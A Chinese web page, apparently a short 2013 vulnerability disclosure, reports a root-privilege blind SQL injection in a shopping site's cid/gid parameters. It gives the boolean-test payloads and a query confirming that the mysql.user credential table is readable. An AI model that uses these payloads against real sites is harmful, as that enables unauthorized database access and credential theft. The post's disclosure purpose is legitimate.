当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

快乐购物网某root权限SQL盲注

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

快乐购物网某root权限SQL盲注
 
?cid=&gid=48157
?cid=&gid=48157
两处都是注入点
 
?cid=&gid=48157 and 1=1
?cid=&gid=48157 and 1=2
 
?cid=&gid=48157 and exists(select * from mysql.user)
 
可以读取mysql.user 表
作者kobin97 ,涛涛电脑知识网,涛涛电脑知识网

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1